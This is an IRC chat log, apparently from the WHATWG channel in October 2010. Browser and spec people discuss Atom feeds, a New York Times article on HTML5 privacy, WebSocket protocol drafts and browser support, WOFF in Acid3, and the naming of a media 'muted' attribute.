AryehGregor: (Using tantek's system of a 3-digit number encoding days since the epoch in a specially-crafted sexagecimal designed for maximum readability, followed by a sexagecimal digit encoding the index of the post on that day.)

[16:23:00.0000] <Dashiva>
I hope Mark writes the HTML4 deployment post

[16:29:00.0000] <TabAtkins>
This seems somehow wrong: <link>rel="self" href="/feed"</link>

[16:29:01.0000] <TabAtkins>
It's from a tutorial on the Atom format.

[16:29:02.0000] <TabAtkins>
Surely that should be <link rel="self" href="/feed" />?

[16:59:00.0000] <ai_scott>
TabAtkins surely


2010-10-12
[17:00:00.0000] <TabAtkins>
That's what I went with, after looking at other atom code elsewhere.  That tutorial was kinda sketchy in several ways.

[17:59:00.0000] <TabAtkins>
hober, paul_irish: Feed up and validated.  http://www.xanthir.com/blog/atom/

[18:03:00.0000] <paul_irish>
TabAtkins: lookin great

[18:17:00.0000] <AryehGregor>
TabAtkins, Google Reader doesn't seem to be creating links from the post's title.  Are the permalinks not in the feed?

[18:17:01.0000] <TabAtkins>
AryehGregor: Ah, maybe not.  One sec.

[18:18:00.0000] <TabAtkins>
AryehGregor: can you try it again?

[18:18:01.0000] <AryehGregor>
Still doesn't seem to show up.

[18:18:02.0000] <AryehGregor>
Maybe it's cached, though.

[18:19:00.0000] <TabAtkins>
Wait, I'm doing it wrong.

[18:19:01.0000] <AryehGregor>
Have you settled on "Tab Completion" for the Atom feed, or is that just your conversion script picking a random name each time you run it and then serving it indefinitely?

[18:19:02.0000] <TabAtkins>
Try it now?

[18:19:03.0000] <AryehGregor>
/me wonders how clients will cope with changing names

[18:19:04.0000] <TabAtkins>
Settled on Tab Completion.

[18:20:00.0000] <TabAtkins>
To avoid clients being weird with changing names.

[18:20:01.0000] <AryehGregor>
Now Chrome's built-in feed display shows the links, but Reader still doesn't.  I'm guessing some type of caching.

[18:20:02.0000] <TabAtkins>
Yeah, probably.

[18:21:00.0000] <AryehGregor>
I bet Reader only does one request and uses the result for all users.  Would be silly otherwise.

[18:21:01.0000] <AryehGregor>
(It would be fun to see how clients reacted to a feed changing name every time you refresh.  No rule against it, right?)

[18:22:00.0000] <AryehGregor>
/me spent the last hour or something fighting the NYT's HTML5 FUD on Slashdot

[18:22:01.0000] <AryehGregor>
Probably not worthwhile, ultimately, but I didn't feel like doing anything useful.

[18:22:02.0000] <TabAtkins>
Also, yay, wide-screen layout on the main blog (where "wide" = "1000px")

[18:23:00.0000] <AryehGregor>
The NYT article was incredibly pathetic.  Like: "The new Web language and its additional features present more tracking opportunities because the technology uses a process in which large amounts of data can be collected and stored on the user’s hard drive while online. Because of that process, advertisers and others could, experts say, see weeks or even months of personal data. That could include a user’s location, time zone, photographs,

[18:23:01.0000] <AryehGregor>
 text from blogs, shopping cart contents, e-mails and a history of the Web pages visited."  http://www.nytimes.com/2010/10/11/business/media/11privacy.html

[18:23:02.0000] <AryehGregor>
What the *heck*?

[18:24:00.0000] <AryehGregor>
How could they have even made that *up*?

[18:25:00.0000] <AryehGregor>
/me decides not to care.

[18:28:00.0000] <TabAtkins>
It's extremely obvious that the report has no idea what they're talking about.  As usual.

[18:28:01.0000] <micheil>
AryehGregor: A slow news week, they need something to create news, even if they create it them selves.

[18:29:00.0000] <micheil>
it's also quite NIMBY style thing.

[18:41:00.0000] <AryehGregor>
Looks like Mozilla is serious about getting pipelining to work: https://bugzilla.mozilla.org/show_bug.cgi?id=603503

[18:41:01.0000] <AryehGregor>
Nice.

[18:41:02.0000] <AryehGregor>
(At least assuming Patrick McManus is in a position to do anything about it.)

[18:42:00.0000] <AryehGregor>
He seems to be a kernel hacker, not a Mozilla hacker.

[18:44:00.0000] <roc>
he contributes to Mozilla

[18:44:01.0000] <AryehGregor>
Judging by his blog, his kernel contributions look TCP-related, so pipelining sounds right up his alley.

[19:12:00.0000] <AryehGregor>
Well, his blog is interesting.  I just read the whole history.  http://bitsup.blogspot.com/

[19:12:01.0000] <AryehGregor>
/me goes to bed

[22:31:00.0000] <hober>
TabAtkins: no feed autodiscovery?

[01:33:00.0000] <Hixie>
where does http://bitbucket.org/ms2ger/dom-range/ allow me to actually see the spec?

[01:39:00.0000] <Philip`>
Hixie: http://bitbucket.org/ms2ger/dom-range/raw/555ad6ae74fa/source.html ?

[01:39:01.0000] <Hixie>
that seems to have content-disposition headers

[01:40:00.0000] <Hixie>
but it'll do, thanks

[01:41:00.0000] <Hixie>
anyone write arabic fluently here?

[01:41:01.0000] <Hixie>
or hebrew?

[01:53:00.0000] <jgraham>
Just when I thought HyBi couldn't get any worse, people started top posting

[01:57:00.0000] <annevk>
Hixie, can you modify that multipart algo so it's easier to invoke from outside of <form>? i.e. from FormData

[01:57:01.0000] <Hixie>
yeah that seems reasonable. file a bug describing what interface you want and i'll make sure to make it available.

[01:58:00.0000] <annevk>
cool

[02:05:00.0000] <jgraham>
Hixie: BTW on the subject of HyBi, it seems that NPN has difficult deployment issues e.g. there was some suggestion that it would make writing a server in java hard until some hypothetical future java release

[02:06:00.0000] <jgraham>
So it seems to me that the compromise solution is the best option on the table at the moment

[02:06:01.0000] <annevk>
oh yes

[02:06:02.0000] <Hixie>
or we could just update java

[02:06:03.0000] <annevk>
Unicode 6 adds support for emoji

[02:06:04.0000] <Hixie>
unicode 6 has a fantastic set of new characters

[02:06:05.0000] <Hixie>
i can't wait for fonts!

[02:07:00.0000] <jgraham>
Hixie: You plan to ship Java 1.7 as part of WebSockets? That is... ambitious

[02:07:01.0000] <Hixie>
at the current rate, it's unclear to me which will ship first

[02:07:02.0000] <Hixie>
i know people are working on java 1.7 and making progress

[02:07:03.0000] <Hixie>
it's unclear if the same can be said of websockets

[02:07:04.0000] <annevk>
phases of the moon have characters too

[02:08:00.0000] <Hixie>
jgraham: (anyway you don't need a new java, just a new TLS library)

[02:10:00.0000] <annevk>
aah NY Times cannot spell HTML5

[02:12:00.0000] <annevk>
I see that article was already discussed...

[02:12:01.0000] <annevk>
I worry more about the less obvious means of tracking not discussed by the much cited EverCookie (or whatever it was called)

[02:12:02.0000] <Hixie>
you mean they can't spell HTTP

[02:12:03.0000] <annevk>
the ones Björn mentioned

[02:13:00.0000] <annevk>
like DNS caching, fingerprinting, HTTP indeed, etc.

[02:14:00.0000] <annevk>
and we could probably reduce risk significantly, but then everything will be dogslow and legit stuff will stop working

[02:16:00.0000] <Hixie>
we really should reduce fingerprinting, if only as an excuse to remove the crap from our HTTP requests like Accept-Encoding and whatnot

[02:16:01.0000] <Hixie>
and to simplify the UA strings

[02:16:02.0000] <hsivonen>
Hixie: you pinged me

[02:16:03.0000] <Hixie>
hsivonen: i did?

[02:16:04.0000] <hsivonen>
Hixie: well, yt'ed.

[02:17:00.0000] <jgraham>
Hixie: The speed-to-spec-completion argument works heavily against NPN. NPN was just as controversial for the TLS people as WebSockets has been for HTTP people

[02:17:01.0000] <Hixie>
hsivonen: ah yeah. i think i ended up asking the question on a bug.

[02:17:02.0000] <hsivonen>
Hixie: ok

[02:18:00.0000] <hsivonen>
I'm wondering if there's anything other than CSS and Web Apps that I should request observer status for

[02:18:01.0000] <Hixie>
jgraham: controversy in a wg is imho irrelevant, what matters is whether UAs will implement.

[02:18:02.0000] <hsivonen>
for TPAC week, that is

[02:20:00.0000] <annevk>
Hixie, yeah, we're killing Accept-Encoding and some useless User-Agent bits for starters

[02:20:01.0000] <hsivonen>
in a way, I'm tempted to observe the TAG meeting

[02:20:02.0000] <jgraham>
Hixie: The two may be somewhat related when you want changes on both clients and server sides

[02:21:00.0000] <annevk>
hsivonen, masochist? ;p

[02:21:01.0000] <Hixie>
jgraham: in my experience, servers will implement whatever it takes to interop with the clients.

[02:21:02.0000] <jgraham>
Since there is likely to be non-trivial overlap between the people who are unhappy and the implementors of major components

[02:21:03.0000] <Hixie>
jgraham: (and precisely nothing more)

[02:22:00.0000] <Hixie>
jgraham: (even if doing more is the right thing for future extensibility... which is why i'd specced the error handling differently in the old websockets drafts for client and server)

[02:26:00.0000] <annevk>
was http://www.0xdeadbeef.com/weblog/2010/10/websockets-shipping-before-its-ready/ mentioned here already?

[02:26:01.0000] <annevk>
I get called out for not prefixing in Opera's experimental release while Firefox 4 betas ship unprefixed too

[02:28:00.0000] <annevk>
until 7 days ago it wasn't even clear whether Mozilla was considering shipping a prefixed version judging from b.m.o

[02:28:01.0000] <Rik`>
the decision is changing twice a week

[02:28:02.0000] <annevk>
way to wake up

[02:30:00.0000] <Hixie>
he probably just misunderstood what you were shipping

[02:32:00.0000] <annevk>
well unless something changes our final will ship unprefixed too

[02:33:00.0000] <annevk>
we're not a market leader, we cannot really afford being incompatible

[02:33:01.0000] <annevk>
if Chrome et al were shipping with a prefixed version of some kind, so would we

[02:36:00.0000] <Hixie>
are you actually shipping -76 or are you shipping the fixed version of -00 that's on the whatwg.org site and marked as obsolete?

[02:38:00.0000] <annevk>
oh, -00 I guess

[02:38:01.0000] <Rik`>
I don't understand why he is talking about Opera

[02:38:02.0000] <Hixie>
annevk: k

[02:38:03.0000] <annevk>
everyone seems to call it -76

[02:38:04.0000] <Hixie>
yeah

[02:38:05.0000] <Hixie>
dunno what chrome and safari actually implement

[02:38:06.0000] <Rik`>
the problem is not the second or third browser doing something unprefixed, it's the first one

[02:39:00.0000] <annevk>
http://my.opera.com/core/blog/websockets -- "Opera supports version -00 of the protocol (aka -76). This is the same as Chrome 6, Safari 5.02 and Firefox 4 beta."

[02:39:01.0000] <Hixie>
it'd be nice if there was a test suite online somewhere :-)

[02:39:02.0000] <zcorpan>
i thought -00 and -76 were the same version

[02:39:03.0000] <Hixie>
they are

[02:39:04.0000] <Hixie>
the question is whether it's -00 or -00-updated

[02:39:05.0000] <Hixie>
confusingly called "-latest"

[02:39:06.0000] <Hixie>
the version before ifette took over

[02:40:00.0000] <annevk>
we do the one with two types framing

[02:40:01.0000] <Hixie>
k

[02:40:02.0000] <Hixie>
so -00 then

[02:40:03.0000] <Hixie>
probably with some of the fixes from "-latest"

[02:40:04.0000] <Hixie>
man this is confusing

[02:40:05.0000] <zcorpan>
yes

[02:40:06.0000] <annevk>
and we have a test suite released, but you need to set it up

[02:40:07.0000] <Hixie>
i hope ifette gets a spec out there soon

[02:40:08.0000] <annevk>
with the rate hybi is going through things, I don't have high hopes

[02:40:09.0000] <Hixie>
i really just want us to do TLS-only at this point

[02:41:00.0000] <Hixie>
with only wss:

[02:41:01.0000] <zcorpan>
why only wss?

[02:41:02.0000] <Hixie>
i don't see the point of ws: if it's not trivial to implement

[02:41:03.0000] <Hixie>
and we've clearly gone way past "trivial to implement"

[02:42:00.0000] <zcorpan>
i thought there was a use case of intermediaries being able to inspect the payload

[02:42:01.0000] <jgraham>
It isn't at all clear to me that it is just as easy for a simple application using a prewritten server to use wss as ws

[02:43:00.0000] <jgraham>
I would presume wss requires the author to care about certificates and complex stuff like that

[02:43:01.0000] <jgraham>
Way too high a barrier to entry 

[02:44:00.0000] <Hixie>
zcorpan: i don't know of a real use case for that

[02:45:00.0000] <Hixie>
jgraham: well we can add something to the API to disable cert checking if people think that that's useful. But I don't think a single 's' difference is enough of a red flag if we're going down that route, really.

[02:47:00.0000] <jgraham>
Well it is exactly like http, which might not be ideal but has the advantage that people understand it

[02:48:00.0000] <jgraham>
I don't think the right response to "we can't make it trivial" is "let's add loads of difficulty"

[02:49:00.0000] <jgraham>
It is still trivial as long as someone else writes the code to do the handshake and decode the frames

[02:55:00.0000] <micheil>
Hixie: yeah, s/not/no was the difference. I didn't have a chance to add more info.

[02:58:00.0000] <Hixie>
np thanks

[03:04:00.0000] <Hixie>
i love that http://dev.w3.org/html5/html-xhtml-author-guide/html-xhtml-authoring-guide.html doesn't even remotely try to be polyglot

[03:05:00.0000] <jgraham>
To be clear, I assume that no one advocating prefixing the websockets API expects it to have any effect other than as a "this is experimental" signal?

[03:07:00.0000] <annevk>
first two videos from #fronteers10: http://vimeo.com/channels/140223 first is from adactio on the Design of HTML5

[04:04:00.0000] <micheil>
annevk: any ideas on who christopher blizzard is?

[04:04:01.0000] <micheil>
annevk: because for supporting both -76 and -02 you don't need UA detection, just feature detection.

[04:07:00.0000] <smaug____>
micheil: what you mean?

[04:07:01.0000] <smaug____>
how do you do the feature detection?

[04:07:02.0000] <micheil>
well, the differences between the protocols is mainly in the protocol, not the DOM api.

[04:07:03.0000] <smaug____>
er, how would you do the feature detection...

[04:07:04.0000] <micheil>
so there'd be a way to check based on data parsing

[04:07:05.0000] <micheil>
like we do with -75 and -76

[04:08:00.0000] <smaug____>
ah, you mean on server side

[04:08:01.0000] <micheil>
if "sec-websocket-key3" in headers

[04:08:02.0000] <micheil>
(I've probably quoted that wrong)

[04:08:03.0000] <micheil>
yeah

[04:08:04.0000] <micheil>
the browser API's should be consistent

[04:08:05.0000] <smaug____>
what about on client side

[04:08:06.0000] <micheil>
client side should be to spec.

[04:08:07.0000] <smaug____>
api is the same, at least for now

[04:09:00.0000] <micheil>
as even with new handshaking, I can't see that changing.

[04:09:01.0000] <micheil>
the only recent major change was with subprotocol handling from what I can recall

[04:09:02.0000] <micheil>
with the change from DOMSring to DOMString or DOMString[]

[04:10:00.0000] <Hixie>
ok it's way past my bed time

[04:10:01.0000] <Hixie>
nn

[04:10:02.0000] <micheil>
although, JS defines that Array.toString = "item1,item2"

[04:10:03.0000] <smaug____>
ah, that subprotocol handling, which is rather useless

[04:10:04.0000] <micheil>
which is how you need to declare if it's just a DOMString

[04:10:05.0000] <micheil>
(space separated to comma separated)

[04:11:00.0000] <micheil>
as for server side, detecting -02 may be harder then -75/76

[04:33:00.0000] <jgraham>
micheil: Christopher Blizzard is a Mozilla guy. "Director of Evangelism at Mozilla Corporation" seems to be the full job title

[04:33:01.0000] <micheil>
k

[04:41:00.0000] <Rik`>
he is now Director of Web Platform

[04:41:01.0000] <Rik`>
http://www.0xdeadbeef.com/weblog/2010/07/new-role-at-mozilla-director-of-web-platform/

[04:42:00.0000] <micheil>
ah, okay

[05:08:00.0000] <zcorpan>
micheil: -02 has a Sec-WebSocket-Draft field (or whatever it's called)

[05:08:01.0000] <micheil>
so you can do feature detection with that then.

[05:08:02.0000] <micheil>
/me hasn't fully read -02 yet

[05:28:00.0000] <micheil>
Rik`: with FF, 3.6 doesn't declare the WebSocket constructor, does it?

[05:29:00.0000] <zcorpan>
i wonder if mozilla and webkit developers have tried to run our websocket testsuite yet

[05:29:01.0000] <micheil>
zcorpan: hmm?

[05:43:00.0000] <zcorpan>
micheil: we released a websocket testsuite. http://testsuites.opera.com/websockets/

[05:44:00.0000] <jgraham>
(client)

[05:45:00.0000] <zcorpan>
yes, it tests the client aspect of the protocol (-00ish) and the api

[05:57:00.0000] <micheil>
zcorpan: ah, I know yahoo was doing similar.

[05:59:00.0000] <zcorpan>
micheil: pointer?

[05:59:01.0000] <micheil>
none. it was on the server side

[05:59:02.0000] <micheil>
non-released data

[05:59:03.0000] <micheil>
iirc.

[05:59:04.0000] <zcorpan>
oh

[06:00:00.0000] <micheil>
so, what do I need to run the tests?

[06:04:00.0000] <zcorpan>
you need pywebsocket, see README

[06:05:00.0000] <Rik`>
micheil: right, there's nothing websocket related in 3.6

[06:05:01.0000] <micheil>
okay, I'm getting reports of "WebSocket" in window === true in 3.6.4

[06:06:00.0000] <Rik`>
I just tested in 3.6.10

[06:06:01.0000] <micheil>
okay. odd.

[06:06:02.0000] <Rik`>
3.6.4 is rather old btw

[06:07:00.0000] <micheil>
I'm being told: javascript:alert("WebSocket" in window)

[06:07:01.0000] <micheil>
is alert true

[06:07:02.0000] <annevk>
and javascript:alert(navigator.userAgent) in the same UA is?

[06:08:00.0000] <micheil>
turns out that a js library had created it for some reason.

[06:11:00.0000] <annevk>
oh

[06:11:01.0000] <annevk>
god

[06:11:02.0000] <annevk>
should not have emailed hybi

[06:11:03.0000] <micheil>
heh.

[06:12:00.0000] <jgraham>
micheil: That is quite crazy

[06:13:00.0000] <micheil>
yeah, because this fallback implements a WebSocket object, by interfacing with flash, but doesn't define to the WebSocket DOM API

[06:47:00.0000] <GPHemsley>
Hey, did you hear? HTML5 may weaken privacy! http://www.nytimes.com/2010/10/11/business/media/11privacy.html

[06:47:01.0000] <GPHemsley>
/me takes out his 2-by-4

[06:48:00.0000] <GPHemsley>
(Not to mention that the article calls HTML5 a "new Web language"

[06:48:01.0000] <GPHemsley>
)

[06:49:00.0000] <GPHemsley>
Hmm... this same journalism appears to have written an article about Flash cookies, as well.

[06:54:00.0000] <hsivonen>
GPHemsley: it would be interesting to know what the quoted people said in full

[07:07:00.0000] <micheil>
hsivonen: they probably didn't say anything.

[07:08:00.0000] <micheil>
an unnamed source is as good as no source.

[07:12:00.0000] <hsivonen>
micheil: I'd expect the named sources to have said something somewhere.

[08:36:00.0000] <KaOSoFt>
http://www.smashingmagazine.com/2010/10/11/local-storage-and-how-to-use-it/

[08:52:00.0000] <smaug____>
huh, chrome is switching to ws protocol v02

[08:52:01.0000] <smaug____>
which is, I believe, very unstable

[08:53:00.0000] <zcorpan>
maybe they want to experiment with it in the dev channel?

[08:54:00.0000] <jgraham>
Well it is kinda surprising. But they always claimed they would do this

[08:54:01.0000] <jgraham>
So not all that surprising

[08:54:02.0000] <zcorpan>
yeah i'm not surprised :)

[08:55:00.0000] <jgraham>
It will be interesting to see what effect it has, if any, on the adoption of websockets

[08:55:01.0000] <zcorpan>
i wonder what microsoft are doing

[08:55:02.0000] <zcorpan>
they reviewed -02

[08:56:00.0000] <jgraham>
It will be intersting to see what they do in IE9

[08:57:00.0000] <jgraham>
If they do nothing they might just have to follow everyone in IE10

[08:57:01.0000] <jgraham>
Or they might not. Depends on how it plays out, really

[09:17:00.0000] <paul_irish>
smaug____: got a link re: ws protocol v02 ?

[09:17:01.0000] <annevk>
see hybi email archives

[09:17:02.0000] <annevk>
claim by Ian Fette

[09:21:00.0000] <paul_irish>
thx

[09:40:00.0000] <annevk>
but per data from Peter` I guess that won't make it in before Chrome 8

[10:00:00.0000] <TabAtkins>
hober: How do I get autodiscovery?  I'll turn it on if I know how.

[12:06:00.0000] <mven>
/me wonders if your IE shirt comes holes or patches

[12:19:00.0000] <jwalden>
/me really wishes there were some IRC channel, or some other relatively low-lag forum, where people from all the major browsers/engines, hung out for quick technical discussion

[12:19:01.0000] <TabAtkins>
jwalden: Dude, what?

[12:20:00.0000] <jwalden>
TabAtkins: I'm thinking of one specific engine, really

[12:20:01.0000] <TabAtkins>
Which is...?

[12:20:02.0000] <jwalden>
umm, IE?

[12:21:00.0000] <TabAtkins>
Okay then.  So why does your desire for IE engineers to get on IRC result in you spamming the room with a generic request that seems to be satisfied by this very room?

[12:21:01.0000] <jwalden>
...wait, you think that was spam?

[12:21:02.0000] <TabAtkins>
It was the second time you said it.  ^_^

[12:21:03.0000] <jwalden>
oh, sorry

[12:21:04.0000] <jwalden>
I thought the first time I'd pinged out and it hadn't made its way to the channel

[12:22:00.0000] <jwalden>
in my defense I checked http://krijnhoetmer.nl/irc-logs/whatwg/20101012 to see whether it had made its way here, didn't see it

[12:50:00.0000] <peterhil>
GPHemsley: The "New Web Code" and "Web [Markup] Language" bothers me too, but I think the article has a good point about the possibilities that providing 256 times larger storage than cookies for advertising networks IS going to be a privay issue.

[12:52:00.0000] <peterhil>
And the storage is an SQLite DB, which requires special tools or libraries to view or modify. I think users should have easy to use tools for managing the cookies and local storage databases.

[12:52:01.0000] <peterhil>
I think I'll make a tool, because the tracking cookies have also bothered me for a long time. The interface that for eg. Safari provides is not useful enough to really manage them

[12:54:00.0000] <peterhil>
I want to select cookies based on values or regexpes and remove or filter based on keywords aobut sites or values. And if the values are base64 I want the tool to decode them.

[12:55:00.0000] <peterhil>
At least browser should ask the user if they want to allow different sites to store a database.

[12:55:01.0000] <peterhil>
I am very excited about the opportunities that local storage provides for web development, but I am also concerned about privacy issues.

[12:57:00.0000] <Philip`>
Why does the storage size matter? If you have, say, 8 bytes, then you can store a unique ID on the client and store arbitrary amounts of data on a server indexed by ID

[12:57:01.0000] <peterhil>
/me have a SGI t-shirt with holes eaten by my little sister's hamster. ;-)

[12:58:00.0000] <Philip`>
Storing more data on the client doesn't seem any more privacy-violating

[12:58:01.0000] <peterhil>
Philip`: It matters, because it will be easier to store long log of events about users. Think of it as a way to provide 1 user ID + 255 event IDs...

[12:59:00.0000] <peterhil>
I mean, it provides more opportunities for advertisers also, and you know they are creative people. :-)

[13:01:00.0000] <Workshiva>
Why would they store it on the client anyway? That info could get lost any time

[13:01:01.0000] <Workshiva>
All you need to store on the client is the identifying marker, so you know who to send data on behalf of

[13:02:00.0000] <peterhil>
The privacy issues by local storage may not be that different from cookies, but I think it is important that this issue is being discussed properly instead of just ridiculing the whole issue.

[13:02:01.0000] <Philip`>
I don't think anyone is ridiculing it

[13:04:00.0000] <Workshiva>
You shouldn't focus on the storage size, the "harder to remove" bit is more important

[13:04:01.0000] <peterhil>
I was going to end the last message with "instead of ridiculing a poor journalist trying to make sense of the new things about HTML 5."

[13:06:00.0000] <peterhil>
Workshiva: I agree. The size may not be that important, but values in SQLite DBs are harder to remove and manage without proper tools.

[13:07:00.0000] <Workshiva>
Even so, I think browsers will offer good tools to clean out the new storage forms quickly enough

[13:07:01.0000] <Workshiva>
I'm more worried about flash sharedobjects (still)

[13:07:02.0000] <peterhil>
I just watched the Crockford Javascript Series and he makes some good points on part 6 about HTML5 worsening the XSS and some other security issues.

[13:08:00.0000] <Workshiva>
I'll refrain from discussing Crockford :)

[13:08:01.0000] <peterhil>
Me too - although they are sandboxed, but with Adobe's recent security track record it makes me worry a little. Just found them out on my computer.

[13:08:02.0000] <peterhil>
Ok. :_)

[13:09:00.0000] <Hixie>
peterhil: you'd think if he had good points he'd have mentioned them on the mailing list rather than keeping them to his talks. :-)

[13:10:00.0000] <peterhil>
I haven't watched the mailing lists. But it's a shame if it is so.

[13:13:00.0000] <peterhil>
I learned the intricacies of encoding UTF-8 this summer, and it made me realize how there is a gazillion variations on how to encode, comment or escape data using different web and internet technologies, all bound or interwoven to the markup language used. So the only place to solve the problem is the markup language.

[13:20:00.0000] <peterhil>
I mean you can't regexp for malicious code in base64 encoded data for example. Not to mention how to misencode information between language encodings and the Unicode. It let's you quite easily produce hard to detect malicious scripting tags, which can slip through form validation.

[13:23:00.0000] <peterhil>
Usually the scurity measures by frameworks prevent this, but there are a lot of misconfigured servers...

[13:24:00.0000] <peterhil>
And I haven't experimented how easy it is to make such script injections, but I believe I could easily make one if I wanted.

[13:46:00.0000] <jgraham>
Umm, what makes the client side storage for cookies any more user-servicable than other storage mechanisms? 

[13:47:00.0000] <jgraham>
In either case the values on disk could be stored in any format you like (sqlite, mork, RDF, encrypted key-value pairs)

[13:48:00.0000] <jgraham>
You rely on the browser to provide a magement UI

[13:48:01.0000] <jgraham>
*management

[13:50:00.0000] <jgraham>
I guess The SQL stuff lends itself more to a client side database for acceptable performance. But that need not be worse than the other formats

[13:50:01.0000] <jgraham>
And it is mostly defunct

[13:54:00.0000] <othermaciej>
in some ways, storage or SQL are more restricted than cookies, since you need a browsing context from your origin to read or write

[13:54:01.0000] <othermaciej>
unlike cookies, where any resource load, even just an image, can read and write it in principle

[15:17:00.0000] <Hixie>
annevk: so what are we doing for the non-visual scrollIntoView() stuff?

[15:18:00.0000] <TabAtkins>
Hixie: Would it be possible to get a WOFF reference into Acid3?

[15:18:01.0000] <TabAtkins>
Hixie: Like, replacing SVG Fonts or something?

[15:19:00.0000] <Hixie>
if you got all the browser vendors to co-sign a publicly archived e-mail to me requesting that, and providing an example of what the new test would be, then sure

[15:19:01.0000] <Hixie>
but i'd much rather not change acid3

[15:19:02.0000] <TabAtkins>
I'm on it.

[15:20:00.0000] <Hixie>
(get howcome to ok it too while you're at it)

[15:23:00.0000] <TabAtkins>
Hixie: Out of curiousity, did you apply this criteria to the recent change about :visited?

[15:27:00.0000] <Hixie>
not the publicly archived part, but the change was much more minor

[15:27:01.0000] <Hixie>
and could have been spun much worse

[15:27:02.0000] <Hixie>
("acid3 forces browsers to violate user's privacy")

[15:28:00.0000] <Hixie>
here the spin danger is in the other direction ("acid3 author caves to pressure from microsoft, improves IE9's score by removing subtests already passed by other browsers")

[15:28:01.0000] <TabAtkins>
All right, but WOFF is the only font format that everyone actually agrees to support, as opposed to SVG Fonts, which some browsers have explicitly stated they *won't* support.

[15:29:00.0000] <Hixie>
Um, TrueType is already supported by everyone :-)

[15:29:01.0000] <TabAtkins>
Caves to pressure from WebFonts WG!

[15:29:02.0000] <Hixie>
(WOFF is a waste of time IMHO, given TrueType, but that's a side issue)

[15:29:03.0000] <Hixie>
i'm not disagreeing with you that we shouldn't have added SVG Fonts to the test

[15:31:00.0000] <TabAtkins>
Well, I'll get the WebFontsWG to request it.  We've got everyone but Apple represented.

[15:31:01.0000] <Hixie>
i don't think a wg should request it

[15:31:02.0000] <Hixie>
wgs requesting things is how we got into this problem in the first place

[15:31:03.0000] <Hixie>
just get the browser vendors to co-sign an e-mail

[15:32:00.0000] <Hixie>
(and howcome to agree)

[15:32:01.0000] <Hixie>
if there's actual support for this then it shouldn't be hard

[15:32:02.0000] <Hixie>
(personally i'm not convinced there is)

[15:32:03.0000] <TabAtkins>
It's easy to coordinate the action within the WG, simply because we have 4 browsers there.  Including howcome.

[15:32:04.0000] <zcorpan>
opera doesn't support woff (yet)

[15:32:05.0000] <Hixie>
i don't mind where you talk about it, i just mean that the e-mail shouldn't mention the wg

[15:32:06.0000] <Hixie>
it's a PR thing

[15:34:00.0000] <KaOSoFt>
Arrggh, I really hate the multi-process safety measure of Chromium (Chrome).

[15:34:01.0000] <KaOSoFt>
Opera and Firefox work just as well, without that long list of processess.

[15:54:00.0000] <paul_irish>
TabAtkins: i know sylvain doesnt like the existing @font-face test because the Ahem font doesnt have its installable bit set to whatever IE9 needs.. so they fail. At the same time, woff does seem more 'web standard' than a ttf..

[15:59:00.0000] <TabAtkins>
Exactly.  There's no standard specifying that TTF must be supported, so it kinda sucks.


2010-10-13
[17:38:00.0000] <TabAtkins>
Oh jeez, they had to use the one frame where I look like a drunk hobo as the poster: http://blog.siliconvalley-codecamp.com/2010/10/12/presentation-horror-stories/

[17:40:00.0000] <hober>
anyone going to AEA San Diego?

[17:46:00.0000] <peterhil>
Good article on Ars Technica about mobile advertising company using html 5 local storage to create a really persistent database on iOS devices: http://arstechnica.com/apple/news/2010/09/rldguid-tracking-cookies-in-safari-database-form.ars

[17:48:00.0000] <TabAtkins>
Yeah, that's probably exploiting the same combination of tracking devices as the supercookie.

[17:56:00.0000] <peterhil>
Probably

[19:35:00.0000] <heycam>
is microdata implemented anywhere yet?

[19:38:00.0000] <heycam>
that reminds me, i really should watch The Castle

[19:38:01.0000] <boogyman>
good movie

[19:38:02.0000] <heycam>
supposedly :)

[21:04:00.0000] <Hixie>
heycam: google search supports it, dunno about others

[21:04:01.0000] <heycam>
k

[21:05:00.0000] <heycam>
just wondering about it from the DOM perspective, though

[21:08:00.0000] <paul_irish>
last i heard getItems hasnt landed anywhere yet.

[21:19:00.0000] <Hixie>
heycam: not aware of any dom implementations yet

[02:17:00.0000] <annevk>
from the IRI meeting

[02:18:00.0000] <annevk>
"4. Next steps: Larry: let's see if we can get more attendees & agenda items for next interim meeting."

[02:20:00.0000] <zcorpan>
sounds like a useful meeting

[02:20:01.0000] <Hixie>
aren't they all

[02:21:00.0000] <Hixie>
zcorpan: re http://www.w3.org/Bugs/Public/show_bug.cgi?id=10419#c7 , value->defaultValue has proven really unpopular, which is why i am skeptical of doing it for that one

[02:21:01.0000] <Hixie>
what i really want is an attribute where we can stick all the "initial state" stuff

[02:21:02.0000] <Hixie>
default playback rate, volume, muted... except only support muted for now

[02:22:00.0000] <Hixie>
i guess autoplay is already its own thing

[02:22:01.0000] <Hixie>
and automute doesn't really sound right

[02:23:00.0000] <zcorpan>
i dunno, having to type defaultmuted="" defaultvolume="0.5" defaultplaybackrate="2" seems more annoying than muted="" volume="0.5" playbackrate="2"

[02:23:01.0000] <Hixie>
i agree

[02:23:02.0000] <Hixie>
not sure what to do

[02:23:03.0000] <zcorpan>
pointers to defaultValue unpopularity?

[02:23:04.0000] <zcorpan>
(would it be less unpopular if the attribute was called defaultvalue=""?)

[02:24:00.0000] <Hixie>
search for "The HTML DOM got this very wrong" in http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2010-September/028755.html

[02:25:00.0000] <Hixie>
it would be less unpopular with sicking if value="" was the default value and editing muted the DOM

[02:25:01.0000] <Hixie>
i'm not personally convinced that's great either though

[02:25:02.0000] <Hixie>
mutated

[02:25:03.0000] <Hixie>
not muted :-)

[02:27:00.0000] <Hixie>
the other thing is that this isn't an attribute whose values are "muted" and "not muted", it's an attribute whose values are "mute initially in all cases" and "use the user's default for this video"

[02:27:01.0000] <zcorpan>
foolip: what do you think? ^

[02:27:02.0000] <Hixie>
so "muted" isn't necessarily the most obvious name

[02:27:03.0000] <Hixie>
it should also be pointed out that a lot of people don't think we should have the mute/volume state be remembered on a per-video basis

[02:28:00.0000] <zcorpan>
from the author's perspective, he mutes the video if he adds the attribute

[02:28:01.0000] <Hixie>
and that instead we should have a browser-level mute (maybe per tab) that can't be controlled by JS, and that video.muted should only be the author override for the video

[02:29:00.0000] <zcorpan>
sure

[02:29:01.0000] <Hixie>
but that would make the video's mute indicator and the system mute indicator not be the only indicators of relevance, instead adding at least one more to the mix

[02:29:02.0000] <annevk>
it seems end users would want to mute a video, but not necessarily want to unmute it

[02:29:03.0000] <Hixie>
which i'm not sure is a good idea

[02:29:04.0000] <Hixie>
end users?

[02:29:05.0000] <Hixie>
or authors?

[02:29:06.0000] <annevk>
so having muted just be an author thing seems fine to me

[02:30:00.0000] <annevk>
/me forgot .muted currently reflects the end user setting

[02:30:01.0000] <Hixie>
